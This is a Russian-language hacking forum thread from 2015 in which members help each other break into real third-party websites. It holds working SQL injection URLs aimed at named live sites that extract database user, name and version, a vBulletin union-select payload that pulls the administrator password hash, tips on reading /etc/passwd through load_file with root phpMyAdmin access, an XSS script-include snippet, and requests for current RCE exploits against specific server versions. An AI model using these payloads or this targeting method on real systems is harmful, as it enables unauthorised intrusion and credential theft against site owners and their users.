Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. xaj3uie

    xaj3uie New Member

    Joined:
    12 Oct 2015
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Вы что-то реально показать можете, или лишь "умными сообщениями раскидываться"?
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    А вы что то реальное понять можете? если нет, идите свой уровень образования поднимайте, читая статьи и мануалы!
    _ttp://www.moldesbarcelona.eu/modules/mod_jshopping_products_wfl/js/settings.php?id=171%27or(ExtractValue(1,(select%20concat_ws(0x3a,0x3a,user(),database(),version()))))+--+
    Ответ:
    я вам показал вектор атаки, а вы крутите его уже сами!

    Начните свой уровень изучив хотябы вот это:
    https://forum.antichat.ru/threads/43966/
    А потом задавайте свои детские вопросы, показывая свою нелепую важность...

    P.S: Модеры, кто его выпустил из песочницы?
     
    _________________________
    #902 winstrool, 7 Dec 2015
    Last edited: 7 Dec 2015
  3. xaj3uie

    xaj3uie New Member

    Joined:
    12 Oct 2015
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Да читал, иногда нужно спросить и убедиться.
    Вот только на мои детские вопросы вы конкретно так и не ответили!
    P.s. модерам спасибо, все мы когда-то были новички...
     
  4. UNIXTREID

    UNIXTREID Member

    Joined:
    2 Nov 2015
    Messages:
    140
    Likes Received:
    22
    Reputations:
    1
    Извиняюсь за вопросы, гуглил, но как-то выдача не удалась... :(
    1)Есть ли какие-то недавние рабочие RCE под такие сервисы???

    nginx 1.6.2
    Microsoft IIS 6.0
    ASP.NET 1.1.4322
    ASP.NET 2.0.50727


    2)И ещё один вопрос: зависят ли как-то версии компонентов Joomla от основной версии самой Joomla ??? Существуют ли какие-то удобные, к примеру, таблицы, где чётко сопоставляются версия компонента с версией самой CMS ??? Или компоненты обновляются только с версией CMS ? Просто чтобы раскручивать сайт, узнал версию джумлы и её установленные дополнения, вот и думаю, по какой версии подбирать эксплоит... ;)

    P.S. Чтобы не создавать нового сообщения, спрошу здесь же: )))

    Joomla 2.5.7
    Component: com_content
    Component: com_jce
    Component: com_jdownloads
    Component: com_newsfeeds
    Component: com_users
    Component: com_xmap


    Есть ли смысл и варианты ???
     
  5. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Простите, а какой у Вас был вопрос?
    Направьте в нужное русло?
    Так Вас направили. Вам предоставили вектор атаки, дальше все по "фабуле".
     
    _________________________
    winstrool likes this.
  6. profishell

    profishell Member

    Joined:
    21 Feb 2014
    Messages:
    32
    Likes Received:
    14
    Reputations:
    7
    По первому вопросу - топаем на exploit-db и узнаем все через поиск, по второму вопросу, да, версия компонентов зависит от версии джумлы, кстати, com_jdownloads и com_xmap компоненты сторонние, в com_xmap дыр нет.
     
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    да, реально. https://rdot.org/forum/showthread.php?t=60
    нужен домен из трех символов. <script src=//lol.ru></script>
     
    _________________________
  8. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    398
    Likes Received:
    38
    Reputations:
    1
    В общем такой вопрос взламываю способом
    securitytoken=guest&humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    В ошибке должен выходить pass (без соли на это другой скрипт)
    Но выходит такая годня почему ?
    [​IMG]
    Даже если соль хочу вывести всё ровно такая хрень
    и это не единственный сайт где такие траблы
    vBulletin
     
    #908 Sensoft, 8 Dec 2015
    Last edited: 8 Dec 2015
  9. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    так красным по белому же написано что таблицы user нет, information_schema рекомендую глянуть
     
    _________________________
  10. UNIXTREID

    UNIXTREID Member

    Joined:
    2 Nov 2015
    Messages:
    140
    Likes Received:
    22
    Reputations:
    1
    profishell, поискал на великом exploit-db:
    1.По nginx есть сплоиты, но версия раньше, чем 1.6.2 (Максимум, что там есть - 1.4.0) :(
    2.Microsoft IIS 6.0 - целая пачка, но из них несколько DoS'ов , другие какие-то старые...
    3.По ASP.NET тоже половину старые, что есть нормального, то или DoS, или Padding Oracle.

    По Jooml'е спасибо, буду знать. Но есть ли дыры в других компонентах, нежели com_jdownloads или com_xmap??? Я где-то видел, что com_users можно раскрутить, да и компонент распространённый. Com_newsfeeds тоже довольно интересный :)
     
  11. vikler

    vikler Member

    Joined:
    16 Aug 2012
    Messages:
    93
    Likes Received:
    7
    Reputations:
    0
    Ребят, кто работал по coldfusion, что-нибудь можно сделать? Какие-то нестандартные sql версии. Ну, то есть, не MSSQL/MySQL/Oracle(?) Подскажите действия... К примеру:
    Code:
    http://borsariimages.com/archive/public/AssetDetail.cfm?aid=S-AAS-414-PB&lid=1%27&rdir=lightboxes&rpage=ViewLightboxContents&orig=p
    Code:
    http://178.63.177.70/huber/huber/images/showPicture.cfm?imgNo=77447141%27&language=1
     
  12. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Всем привет. Давно я вам тут глупых вопросов не задавал, надо наверстать.
    Сложилась такая штуковина есть доступ к myadmin с правами рута, всё как надо, но вот засада , нету пути, phpinfo и при выполнение команды selecl load_file('etc/passwd'); отдаётся хрень. Есть Но не НАЛ. фото
    [​IMG]
    Ну да вопросы, как найти путь? Как заставить читать файлы. Мысли только подключатся с консоли и пробовать разные варианты, брут в ручную с путями var/www/site var/www/public_html/site/... может есть что-то универсальное
     
  13. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    спасибо , решили так, записали вывод в таблицу
     
  14. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Еще один способ ( я описывал)
    Если сервер на фряхе, то при запрсое select load file('/') , то показывает все папки в корне и так далее.
     
    _________________________
    Filipp and palec2006 like this.
  15. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Народ, кто Metasploit юзает, как задать пейлоад для выполнение кастомного php-кода, а не реверс коннект?
     
  16. sats

    sats New Member

    Joined:
    7 Nov 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Может кто пнет в нужном направлении!!! - есть сайт на wordpress 2.0(php 5.4.4) c установленным плагином wpSS (www.securityfocus.com/bid/28894/exploit), использовал запрос следующего вида - wp-content/plugins/wpSS/ss_handler.php?display=0&edit=&ss_id=1%27", однако при попытке провести SQL инжект приходят ошибки от wordpress. волнует сообщение которое сообщает об отсутствии таблицы(выделено красным)
    WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1]
    SELECT * FROM wp_spreadsheet WHERE id='1'"'
    WordPress database error: [Table 'wordpress.wp_spreadsheet' doesn't exist]
    INSERT INTO wp_spreadsheet (ss_tablehtml, ss_name, ss_description) VALUES ('
    ', 'New', 'Blank spreadsheet');
    WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''"' at line 1]
    SELECT * FROM wp_spreadsheet WHERE id = 1'";
    В связи с этим вопрос гуру SQL - возможно ли провести полноценный инжект без данной таблицы, или искать новую уязвимость?
     
  17. OSW

    OSW Elder - Старейшина

    Joined:
    12 Jul 2007
    Messages:
    325
    Likes Received:
    56
    Reputations:
    7
    Ну мб префикс базы не тот просто?
     
  18. sats

    sats New Member

    Joined:
    7 Nov 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    в смысле префикс? table в скрипте жестко прописан. вопрос в том - возможно ли часть SQL операции отменить при ее атомарности.
     
  19. FireRidlle

    FireRidlle Member

    Joined:
    7 Jul 2009
    Messages:
    37
    Likes Received:
    5
    Reputations:
    3
    может кто обьяснить почему получается достать версию бд, а имя бд, пользователя, и вообще выполнить какой то запрос не получается.
    ?ref=258'and+extractvalue(rand(),concat(0x3a,version(),0x3a,1))+and+' выводит CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':5.5.45-cll-lve:1'
    когда вместо version() написать database() или user() или select email from users limit 1 то просто показывает домашнюю страницу.
    ели попробовать сделать запрос к какой то несуществующей таблице select email from sdfsdfsdf limit 1, то вот такая ошибка CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42S02]: Base table or view not found: 1146 Table 'ourmudss_om.vdfgdgd' doesn't exist
     
  20. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    Похоже что WAF
     
    _________________________